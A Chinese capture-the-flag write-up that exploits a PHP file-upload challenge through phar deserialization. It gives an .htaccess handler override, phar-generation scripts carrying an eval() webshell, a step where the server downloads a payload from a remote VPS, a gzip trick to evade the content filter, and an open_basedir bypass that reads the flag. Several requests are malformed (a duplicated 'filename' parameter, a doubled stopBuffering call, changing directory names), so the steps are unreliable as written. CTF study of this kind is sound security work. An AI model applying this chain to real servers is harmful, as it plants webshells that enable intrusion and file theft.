最近做了一道比较有意思的反序列化的题目,一开始看他人的wp感觉有些云里雾里,把自己解题思路分享给大家,希望对师傅们能有所帮助。
源码如下
<?phpclass dir{public $userdir;public $url;public $filename;public function __construct($url, $filename){$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);$this->url = $url;$this->filename = $filename;if (!file_exists($this->userdir)) {mkdir($this->userdir, 0777, true);}}public function checkdir(){if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {die('hacker!!!');}}public function checkurl(){$r = parse_url($this->url);if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {die('hacker!!!');}}public function checkext(){if (stristr($this->filename, '..')) {die('hacker!!!');}if (stristr($this->filename, '/')) {die('hacker!!!');}$ext = substr($this->filename, strrpos($this->filename, ".") + 1);if (preg_match("/ph/i", $ext)) {die('hacker!!!');}}public function upload(){$this->checkdir();$this->checkurl();$this->checkext();$content = file_get_contents($this->url, NULL, NULL, 0, 2048);if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {die('hacker!!!');}file_put_contents($this->userdir . "/" . $this->filename, $content);}public function remove(){$this->checkdir();$this->checkext();if (file_exists($this->userdir . "/" . $this->filename)) {unlink($this->userdir . "/" . $this->filename);}}public function count($dir){if ($dir === '') {$num = count(scandir($this->userdir)) - 2;} else {$num = count(scandir($dir)) - 2;}if ($num > 0) {return "you have $num files";} else {return "you don't have file";}}public function __toString(){return implode(" ", scandir(__DIR__ . "/" . $this->userdir));}public function __destruct(){$string = "your file in : " . $this->userdir;file_put_contents($this->filename . ".txt", $string);echo $string;}}if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {highlight_file(__FILE__);die();}$dir = new dir($_POST['url'], $_POST['filename']);if ($_POST['action'] === "upload") {$dir->upload();} elseif ($_POST['action'] === "remove") {$dir->remove();} elseif ($_POST['action'] === "count") {if (!isset($_POST['dir'])) {echo $dir->count('');} else {echo $dir->count($_POST['dir']);}}
代码提供了两个上传点和一个访问点。
public function upload(){//目录限制在upload/md(ip)下$this->checkdir();//url不能使用file、php协议$this->checkurl();//后缀名不允许存在php$this->checkext();// 唯一 一处读取,读取URL前2048个字节的数据$content = file_get_contents($this->url,NULL,NULL,0,2048);// 每次读取文件都会对其中内容进行检查if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){die('hacker!!!');}file_put_contents($this->userdir."/".$this->filename,$content);
}public function __destruct() {$string = "your file in : ".$this->userdir;//向txt文件中写入数据file_put_contents($this->filename.".txt", $string);echo $string;
}
upload限制条件比较多,有:上传目录userdir
限制在了相对目录upload/md5{IP}
下且不可控;url
可控但限制了协议不能使用file|php
;限制了filename
不能进行目录穿越,并且ext
禁止出现ph
;对文件内容采用了黑名单过滤。
__destruct()
限制了文件后缀为txt,filename没有限制。
由于此题没有明确flag位置,我们既可以上传文件又能够获取文件位置,看来需要上传一句话木马进行查找。因此需要上传文件。但考虑到有限制,因此我们可以先上传.htaccess文件,将txt文件作为php文件执行,进而再上传一句话木马。
题目用到了多个魔术方法,并提供了文件上传和访问函数,因此联想到可以使用phar伪协议进行反序列化。
最后需要注意的是题目环境每10分钟重置一次,需要提前把payload都准备好,以免出现代码执行时404的情况。
上传.htaccess文件
先编写.htaccess文件
AddHandler php7-script .txt
再生成base64码
cat .htaccess | base64
QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cg==
使用data协议上传进去
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cg==
上传一句话木马
获取文件上传位置
上传一句话木马首先要获取到文件位置。在题目描述中提示,文件上传目录为/var/www/html/XXXX/upload/。
我们目前不知道文件位置,因此要先获取文件位置。
public function __toString() {// scandir扫描目录下的文件// implode将数组内容连接成字符串,用空格隔开return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {$string = "your file in : ".$this->userdir;//向txt文件中写入数据file_put_contents($this->filename.".txt", $string);echo $string;
}
在dir类中,__toString()
对userdir目录进行了扫描,并返回了拼接后的结果。我们可以构造反序列化,使得this->userdir
的值为dir实例,进而调用__toString
方法,并在__destruct
方法中通过echo将结果打印出来。
编写反序列化脚本
<?php//反序列化payload构造class dir {public $userdir;}$a = new dir();$b = new dir();$a->userdir = $b;//为了获取upload上一层目录$a->userdir->userdir = "../";echo urlencode(serialize($a));//实例一个phar对象供后续操作,后缀名必须为phar$phar = new Phar("getPath.phar"); //开始缓冲对phar的写操作 $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //将自定义的归档元数据meta-data存入manifest$phar->setMetadata($a);//phar本质上是个压缩包,所以要添加压缩的文件和文件内容$phar->addFromString("test.txt", "test"); //停止缓冲对phar的写操作$phar->stopBuffering();
?>
上传文件有两种方式,一是让upload访问vps服务器文件,二是利用data协议。
upload访问vps服务器
注意,upload会对文件后缀名检查,不允许存在ph,因此phar文件需要修改后缀
action=upload&filename=1.jpg&url=http://8.129.42.140:3307/1.jpg
利用data协议
代码没有禁用data协议,可以利用data:application/octet-stream;base64,xxxx
因此,要先获取文件的base64值cat filename | base64
IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAxukYYgQAAAAMfn/YtgEAAAAAAAB0ZXN0qDhTSeoNvBdQain1UxHcJkEUz2wCAAAAR0JNQg==
用hackerbar
action=upload&filename=phar.txt&url=data:application/octet-stream;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAxukYYgQAAAAMfn/YtgEAAAAAAAB0ZXN0qDhTSeoNvBdQain1UxHcJkEUz2wCAAAAR0JNQg==
![[Pasted image 20230628173358.png]]
再利用upload的file_get_content去反序列化提交的phar.txt
action=upload&filename=1&url=phar://upload/f9e1016a5cec370aae6a18d438dabfa5/phar.txt
![[Pasted image 20230628174219.png]]
获取到中间的文件名为3b3fff6463464959
也就是说,文件存放位置为/var/www/html/3b3fff6463464959/upload/f9e1016a5cec370aae6a18d438dabfa5/
上传一句话木马
上传方法1:通过vps直接传马
<?php
class dir
{public $userdir;public $url;public $filename;public function __construct(){// 注意要用单引号$this->userdir = '<?php eval($_POST[1]);?>';// 填写文件绝对路径和文件名(不要带后缀)$this->filename = "/var/www/html/7d37e3cbff8e2f56/upload/f9e1016a5cec370aae6a18d438dabfa5/shell";}
}
$dir = new dir();
$phar = new Phar('se.phar');
$phar->stopBuffering();
// 添加文件头,模拟为gif
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($dir);
$phar->stopBuffering();
由于黑名单会进行过滤,因此我们可以通过gzip压缩达到绕过的目的,phar
协议支持一些压缩格式的phar包。gzip se.phar
修改文件名为se.jpg
让服务器访问vps,下载se.jpg
action=upload&filename=http://xxx.xxx.xxx.xx/se.jpg&filename=se.jpg
触发反序列化。生成test.txt
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/2.jpg&filename=2
上传方法2:结合__toString
和__destruct__
先生成一个文件名包含命令,URL随便填一点,绕过检测
action=upload&filename=<?php eval($_GET[1]);.txt&url=data:image/png;base64,MQ==
然后构造反序列化文件
原理与获取文件上传位置相同,先调用__toString
获取刚刚上传的文件名,将其作为字符串返回至__destruct__
中。在__destruct__
中将其作为内容写入filename文件中。
<?php
class dir{public $userdir;public $url;public $filename;
}
$dir = new dir();
$dir->userdir = new dir();
$dir->userdir->userdir = 'upload/f9e1016a5cec370aae6a18d438dabfa5/';
$dir -> filename = '/var/www/html/16a9298bcdf23042/upload/f9e1016a5cec370aae6a18d438dabfa5/webshell';
$phar = new Phar("step2.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ");
$phar->setMetadata($dir);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
先上传序列化文件
action=upload&filename=step2.txt&url=data:application/octet-stream;base64,
再去反序列化
action=upload&filename=1&url=phar://upload/f9e1016a5cec370aae6a18d438dabfa5/step2.txt
绕过open_basedir
此处网上知识点较多,不再叙述
/upload/f9e1016a5cec370aae6a18d438dabfa5/webshell.txt?1=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));